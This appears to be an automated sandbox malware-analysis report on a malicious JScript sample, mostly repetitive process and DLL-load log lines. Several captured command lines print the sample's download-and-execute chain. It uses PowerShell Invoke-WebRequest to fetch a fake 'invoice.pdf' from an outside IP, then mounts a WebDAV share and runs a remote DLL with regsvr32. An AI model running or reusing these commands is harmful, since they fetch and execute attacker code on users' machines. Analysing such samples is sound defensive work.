Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3734.js.csv");ITextStream.WriteLine(" entry:8166 f:tsuveqfk");ITextStream.WriteLine(" exec:2 f:tsuveqfk");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49730

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5173			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4675			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7248	Thread sleep count: 5173 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7252	Thread sleep count: 4675 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7336	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7372	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7568	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7868	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000D.00000003.1381760098.000001FF05CB2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1379237224.000001FF05CB2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1393852893.000001FF05CB2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2566058911.000002C1F685A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2564845358.000002C1F142B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000D.00000002.1391663684.000001FF05C48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW g

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
